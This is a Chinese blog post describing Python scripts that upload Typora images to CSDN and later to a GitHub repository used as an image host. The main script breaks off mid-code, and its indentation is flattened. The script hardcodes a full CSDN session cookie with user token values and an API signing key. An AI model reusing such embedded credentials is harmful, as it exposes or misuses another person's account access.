<p><img alt="image-20210620101316162" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MSuHagJiOy.jpg"></p>
<p>我填的命令是</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>C:<span class="se">\U</span>sers<span class="se">\x\t</span>ools<span class="se">\c</span>sdn_image_upload_api.py
</code></pre></div>
<p>这个脚本就是根据之前的脚本进行了一下修改,首先我们需要修改让其支持多参数,因为Typora有一个上传全部本地图片的选项,该选项会将当前文档中所有的图片路径作为参数传递给我们的脚本</p>
<p><img alt="image-20210620102523032" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bFFxJohSlP.jpg"></p>
<h2>参数的处理</h2>
<div class="highlight"><pre><span></span><code><span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
<span class="n">pic_path</span><span class="o">=</span> <span class="n">item</span>
<span class="n">pic_path</span> <span class="o">=</span> <span class="n">pic_path</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"</span><span class="se">\\\\</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\\</span><span class="s2">"</span><span class="p">)</span>
<span class="n">pic_path</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">unquote</span><span class="p">(</span><span class="n">pic_path</span><span class="p">)</span>
</code></pre></div>
<p>从第二个参数开始(第一个是脚本本身)逐个进行上传,由于typora传过来的参数中<code>\</code>进行过转义,因此需要将<code>\\</code>替换成<code>\</code>,另外中文字符进行了URL编码,因此还需要再进行一次解码</p>
<p><strong>另外,windows命令行下接受的参数个数是有限制的,因此在使用Typora进行文档编辑时最好是时不时地上传一下本地图片</strong></p>
<h2>本地文件路径和图片url的映射</h2>
<p>为了预防csdn哪天把我给ban了,或者官方对这个图片上传API进行了更严格的限制,我在上传文件的同时将本地文件和上传之后获得的URL进行了一个映射,并保存在对应文件的assets目录中的map.map文件中</p>
<p>图片上传完成后生成的map文件内容如下:</p>
<p><img alt="image-20210620103113667" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HJAEBnTqER.jpg"></p>
<p>我单独写了一个脚本进行URL至本地文件的转换脚本,可以一次性的处理所有的md文档</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="c1"># f = open("c:\\1.txt","r", encoding="utf-8")</span>
<span class="c1"># lines = f.readlines() </span>
<span class="c1"># for line in lines </span>
<span class="n">mylisadict</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">root</span><span class="p">,</span><span class="n">dirs</span><span class="p">,</span><span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="sa">r</span><span class="s2">"C:\Users\x\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\home\x\wochinijiamile\content"</span><span class="p">):</span>
<span class="k">for</span> <span class="nb">dir</span> <span class="ow">in</span> <span class="n">dirs</span><span class="p">:</span>
<span class="c1"># print(dir)</span>
<span class="n">pathhdir</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">root</span><span class="p">,</span><span class="nb">dir</span><span class="p">)</span>
<span class="n">my_file</span> <span class="o">=</span> <span class="n">pathhdir</span> <span class="o">+</span><span class="s1">'</span><span class="se">\\</span><span class="s1">map.map'</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">my_file</span><span class="p">):</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">my_file</span><span class="p">,</span><span class="s2">"r"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
<span class="n">mylist</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">','</span><span class="p">)</span>
<span class="n">mylisadict</span><span class="p">[</span><span class="n">mylist</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="n">mylist</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">for</span> <span class="n">root</span><span class="p">,</span><span class="n">dirs</span><span class="p">,</span><span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="sa">r</span><span class="s2">"C:\Users\x\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\home\x\wochinijiamile\content"</span><span class="p">):</span>
<span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
<span class="k">if</span> <span class="s2">".md"</span> <span class="ow">in</span> <span class="n">file</span><span class="p">:</span>
<span class="n">fuckfaile</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">root</span><span class="p">,</span><span class="n">file</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">fuckfaile</span><span class="p">)</span>
<span class="n">fff</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">fuckfaile</span><span class="p">,</span><span class="s2">"r"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">fff</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="s1">'</span>
<span class="s1">'.join([line.replace('</span>\<span class="n">n</span><span class="s1">', '') for line in lines])</span>
<span class="k">for</span> <span class="n">key</span><span class="p">,</span><span class="n">values</span> <span class="ow">in</span> <span class="n">mylisadict</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">values</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'</span>
<span class="s1">', '</span>\<span class="n">n</span><span class="s1">')</span>
<span class="n">fff</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">fisssn</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">fuckfaile</span><span class="p">,</span> <span class="s2">"wt"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="p">)</span>
<span class="n">fisssn</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">fisssn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>将第9行和第22行的路径修改为md文件的路径即可</p>
<p>当然,不出意外的话,这个脚本是用不着的,biaojigaoliang1最好永远都不要用上biaojigaoliang2</p>
<h1>图床脚本</h1>
<p>除了上面提到的修改,最后对返回的json字符串的正则匹配也进行了小的改动,因为我发现gif文件回来的路径有点不太一样,因此单独匹配了一下</p>
<p>完整脚本下载地址:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dcsdn%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">csdn_image_upload_api.py</a></li>
</ul>
<p>安装依赖:</p>
<div class="highlight"><pre><span></span><code>python.exe<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>requests
python.exe<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>filetype
python.exe<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>requests-toolbelt
</code></pre></div>
<p>大家在使用的时候需要根据自己的环境手动进行一些修改,比如第92行的代码就有我硬编码进去的字符串,XDM在用的时候需要进行更改</p>
<p>biaojigaoliang1如果有任何问题,请在下方评论或者联系我邮箱biaojigaoliang2</p>
<h1>2023-06-09 更新</h1>
<p>csdn中间更换过一次图片上传策略,后来又调整了,直接不让未授权网站直接在自己的网页中加载他们的图片了,所以用csdn作为网站的图床已经不合适了,改为使用github作为图床,反正我的网站在国内访问本来就很慢,所以我也不在乎访问github快还是慢了</p>
<p>github图床代码:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">hmac</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64decode</span><span class="p">,</span><span class="n">b64encode</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">http.cookiejar</span> <span class="k">as</span> <span class="nn">cookielib</span>
<span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">urlparse</span>
<span class="kn">import</span> <span class="nn">sys</span><span class="o">,</span><span class="nn">os</span>
<span class="c1">#from get_all_article import get_all</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">urllib.parse</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt.multipart.encoder</span> <span class="kn">import</span> <span class="n">MultipartEncoder</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">filetype</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">requests_toolbelt</span> <span class="kn">import</span> <span class="n">MultipartEncoder</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">from</span> <span class="nn">github</span> <span class="kn">import</span> <span class="n">Github</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">from</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="n">platform</span>
<span class="n">motherslash</span> <span class="o">=</span><span class="s2">""</span>
<span class="n">g</span> <span class="o">=</span> <span class="n">Github</span><span class="p">(</span><span class="s1">'替换为你自己的GitHub API Token'</span><span class="p">)</span>
<span class="k">if</span> <span class="s2">"win32"</span> <span class="o">==</span> <span class="n">platform</span><span class="p">:</span>
<span class="n">motherslash</span><span class="o">=</span><span class="s2">"</span><span class="se">\\</span><span class="s2">"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">motherslash</span> <span class="o">=</span><span class="s2">"/"</span>
<span class="k">def</span> <span class="nf">generate_random_string</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="w"> </span><span class="sd">"""Generate a random string of a given length."""</span>
<span class="n">letters</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span>
<span class="k">return</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">letters</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">uploadFile</span><span class="p">(</span><span class="n">filePath</span><span class="p">,</span> <span class="n">file_name</span><span class="p">):</span>
<span class="n">repo</span> <span class="o">=</span> <span class="n">g</span><span class="o">.</span><span class="n">get_repo</span><span class="p">(</span><span class="s1">'wqreytuk'</span><span class="o">+</span><span class="s2">"/"</span><span class="o">+</span><span class="s1">'img_repo'</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">contents</span> <span class="o">=</span> <span class="n">repo</span><span class="o">.</span><span class="n">get_contents</span><span class="p">(</span><span class="n">filePath</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">motherslash</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="n">ref</span><span class="o">=</span><span class="s2">"main"</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span> <span class="p">:</span>
<span class="c1"># 如果这个文件不存在就会抛出异常,那么我们就可以创建文件了</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filePath</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">binaryFile</span><span class="p">:</span>
<span class="n">encoded_string</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">binaryFile</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">repo</span><span class="o">.</span><span class="n">create_file</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span> <span class="s2">"commit message"</span><span class="p">,</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encoded_string</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'utf-8'</span><span class="p">)),</span> <span class="n">branch</span><span class="o">=</span><span class="s2">"main"</span><span class="p">)</span>
<span class="k">return</span> <span class="s1">'https://raw.githubusercontent.com/wqreytuk/img_repo/main/'</span><span class="o">+</span><span class="n">file_name</span>
<span class="k">def</span> <span class="nf">createUuid</span><span class="p">():</span>
<span class="n">text</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">char_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">97</span><span class="p">,</span><span class="mi">97</span><span class="o">+</span><span class="mi">6</span><span class="p">):</span>
<span class="n">char_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">49</span><span class="p">,</span><span class="mi">58</span><span class="p">):</span>
<span class="n">char_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="s2">"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx"</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="s2">"4"</span><span class="p">:</span>
<span class="n">text</span> <span class="o">+=</span> <span class="s2">"4"</span>
<span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="s2">"-"</span><span class="p">:</span>
<span class="n">text</span> <span class="o">+=</span> <span class="s2">"-"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">text</span> <span class="o">+=</span> <span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">char_list</span><span class="p">)</span>
<span class="k">return</span> <span class="n">text</span>
<span class="k">def</span> <span class="nf">get_sign</span><span class="p">(</span><span class="n">uuid</span><span class="p">,</span><span class="n">url</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">urlparse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="n">ekey</span> <span class="o">=</span> <span class="s2">"9znpamsyl2c7cdrr9sas0le9vbc3r6ba"</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
<span class="n">to_enc</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"POST</span><span class="se">\n</span><span class="s2">*/*</span><span class="se">\n\n</span><span class="s2">multipart/form-data; boundary=----WebKitFormBoundaryJ2aGzfsg35YqeT7X</span><span class="se">\n\n</span><span class="s2">x-ca-key:203803574</span><span class="se">\n</span><span class="s2">x-ca-nonce:</span><span class="si">{</span><span class="n">uuid</span><span class="si">}</span><span class="se">\n</span><span class="s2">/blog-console-api/v3/upload/img?shuiyin=2"</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
<span class="c1"># print(to_enc)</span>
<span class="n">sign</span> <span class="o">=</span> <span class="n">b64encode</span><span class="p">(</span><span class="n">hmac</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">ekey</span><span class="p">,</span> <span class="n">to_enc</span><span class="p">,</span> <span class="n">digestmod</span><span class="o">=</span><span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">)</span><span class="o">.</span><span class="n">digest</span><span class="p">())</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
<span class="k">return</span> <span class="n">sign</span>
<span class="k">def</span> <span class="nf">check_size</span><span class="p">():</span>
<span class="n">pic_size</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getsize</span><span class="p">(</span><span class="n">pic_path</span><span class="p">)</span>
<span class="k">if</span> <span class="n">pic_size</span> <span class="o">></span> <span class="mi">5242880</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">def</span> <span class="nf">check_type</span><span class="p">():</span>
<span class="n">extension</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">pic_path</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span>
<span class="k">if</span> <span class="n">extension</span> <span class="o">==</span> <span class="s2">".jpeg"</span> <span class="ow">or</span> <span class="n">extension</span> <span class="o">==</span> <span class="s2">".jpg"</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">if</span> <span class="n">extension</span> <span class="o">==</span> <span class="s2">".gif"</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">if</span> <span class="n">extension</span> <span class="o">==</span> <span class="s2">".png"</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">if</span> <span class="n">extension</span> <span class="o">==</span> <span class="s2">".bmp"</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">if</span> <span class="n">extension</span> <span class="o">==</span> <span class="s2">".webp"</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="c1"># my_open = open("C:\\Users\\x\\AppData\\Local\\Packages\\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\\LocalState\\rootfs\\tmp\\12.png.txt", 'w', encoding="utf-8")</span>
<span class="c1"># for item in sys.argv[1:]:</span>
<span class="c1"># my_open.write(item)</span>
<span class="c1"># my_open.write('\n')</span>
<span class="c1"># my_open.close()</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">mappath</span><span class="o">=</span><span class="s1">''</span>
<span class="n">temppath</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"</span><span class="se">\\\\</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\\</span><span class="s2">"</span><span class="p">)</span>
<span class="n">temppath</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">unquote</span><span class="p">(</span><span class="n">temppath</span><span class="p">)</span>
<span class="n">temppath</span> <span class="o">=</span> <span class="n">temppath</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'</span><span class="se">\\</span><span class="s1">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">ppppath</span> <span class="ow">in</span> <span class="n">temppath</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
<span class="n">ppppath</span><span class="o">+=</span><span class="s1">'</span><span class="se">\\</span><span class="s1">'</span>
<span class="n">mappath</span> <span class="o">+=</span> <span class="n">ppppath</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
<span class="n">pic_path</span><span class="o">=</span> <span class="n">item</span>
<span class="c1">#print(pic_path)</span>
<span class="n">pic_path</span> <span class="o">=</span> <span class="n">pic_path</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"</span><span class="se">\\\\</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\\</span><span class="s2">"</span><span class="p">)</span>
<span class="n">pic_path</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">unquote</span><span class="p">(</span><span class="n">pic_path</span><span class="p">)</span>
<span class="n">sopurce_str</span> <span class="o">=</span> <span class="n">pic_path</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'content</span><span class="se">\\</span><span class="s1">'</span><span class="p">)</span>
<span class="n">sopurce_str</span> <span class="o">=</span> <span class="n">sopurce_str</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'</span><span class="se">\\</span><span class="s1">'</span><span class="p">,</span><span class="s1">'/'</span><span class="p">)</span>
<span class="c1">#print(sopurce_str)</span>
<span class="c1">#print(sopurce_str)</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">pic_path</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">mime</span> <span class="o">=</span> <span class="n">filetype</span><span class="o">.</span><span class="n">guess</span><span class="p">(</span><span class="n">pic_path</span><span class="p">)</span><span class="o">.</span><span class="n">mime</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">check_size</span><span class="p">():</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"5M"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">check_type</span><span class="p">():</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"jpg .gif .png .jpeg .bmp .webp"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">http_proxy</span> <span class="o">=</span> <span class="s2">"http://127.0.0.1:8080"</span>
<span class="n">image_path</span> <span class="o">=</span><span class="n">pic_path</span>
<span class="n">proxyDict</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"https"</span> <span class="p">:</span> <span class="n">http_proxy</span>
<span class="p">}</span>
<span class="n">image_duffix</span> <span class="o">=</span> <span class="n">image_path</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Cookie'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'uuid_tt_dd=10_7112015950-1639885058827-362577; dc_session_id=10_1639885058827.570610; c_segment=1; c_page_id=default; dc_sid=eed914f227de263f524cb4cfbda6dc0b; SESSION=c4915425-05f5-4090-8a58-c0fa78df6173; c_pref=https://www.csdn.net/; c_ref=https://mp.csdn.net/; ssxmod_itna=iuDtAKBK7KDK4BcDeqC4jOxREG8yttY=dD/ItGDnqD=GFDK40oYHwKYDO8RN83bWRy415UnBexmTR=iuEC8R1f0oIPnxx0aDbqGkdROrQGGmxBYDQxAYDGDDPODj4ibDY tg9vxWKDwDB=DmqG2BkNDA4Dj8qww8qGEDA3DG8=Dmf=MBbi/YeDSF0UoIA=DjqGgDBLqW6h9DDUak6xDbEmuDeiDtqD9tmtXYeDHnOGb844CRxLPi9GCROhqIi3YUYhdtADj1R KmSIKIDv30OO32fCxD; ssxmod_itna2=iuDtAKBK7KDK4BcDeqC4jOxREG8yttY=G9YvFbDmxGXhKaGaIzITkx8g3UO/ Py4zubDliQhXnWey2x2W6DBth7I mYiOZAWYxoDwcGPGcDYFqxD; UserName=ma_de_hao_mei_le; UserInfo=d27ca33ac3ed424eaf249b73b44e56a8; UserToken=d27ca33ac3ed424eaf249b73b44e56a8; UserNick=ma_de_hao_mei_le; AU=F0F; UN=ma_de_hao_mei_le; BT=1639885104824; p_uid=U010000; c_first_ref=passport.gitcode.net; c_first_page=https://mp.csdn.net/; Hm_lvt_6bcd52f51e9b3dce32bec4a3997715ac=1639885066,1639885087; Hm_up_6bcd52f51e9b3dce32bec4a3997715ac={"islogin":{"value":"1","scope":1},"isonline":{"value":"1","scope":1},"isvip":{"value":"0","scope":1},"uid_":{"value":"ma_de_hao_mei_le","scope":1}}; Hm_ct_6bcd52f51e9b3dce32bec4a3997715ac=6525*1*10_7112015950-1639885058827-362577!5744*1*ma_de_hao_mei_le; log_Id_click=3; log_Id_view=4; dc_tos=r4cffy; log_Id_pv=5; Hm_lpvt_6bcd52f51e9b3dce32bec4a3997715ac=1639885104'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Connection'</span><span class="p">]</span> <span class="o">=</span><span class="s1">'close'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Accept'</span><span class="p">]</span> <span class="o">=</span><span class="s2">"""application/json, text/javascript, */*; q=0.01"""</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'x-image-app'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'direct_blog'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'x-image-dir'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'direct'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"""application/json"""</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'User-Agent'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'x-image-suffix'</span><span class="p">]</span> <span class="o">=</span> <span class="n">image_duffix</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Origin'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'https://editor.csdn.net'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Sec-Fetch-Site'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'same-site'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Sec-Fetch-Mode'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'cors'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Sec-Fetch-Dest'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'empty'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Referer'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'https://editor.csdn.net/'</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Accept-Encoding'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"gzip, deflate"</span>
<span class="n">headers</span><span class="p">[</span><span class="s1">'Accept-Language'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'zh-CN,zh;q=0.9'</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">"https://imgservice.csdn.net/direct/v1.0/image/upload?watermark=&type=blog&rtype=markdown"</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
<span class="n">jd</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="n">jjd</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">jd</span><span class="p">)</span>
<span class="c1"># print(jjd)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">jjd</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'"filePath":"'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span><span class="o">+</span><span class="n">image_duffix</span>
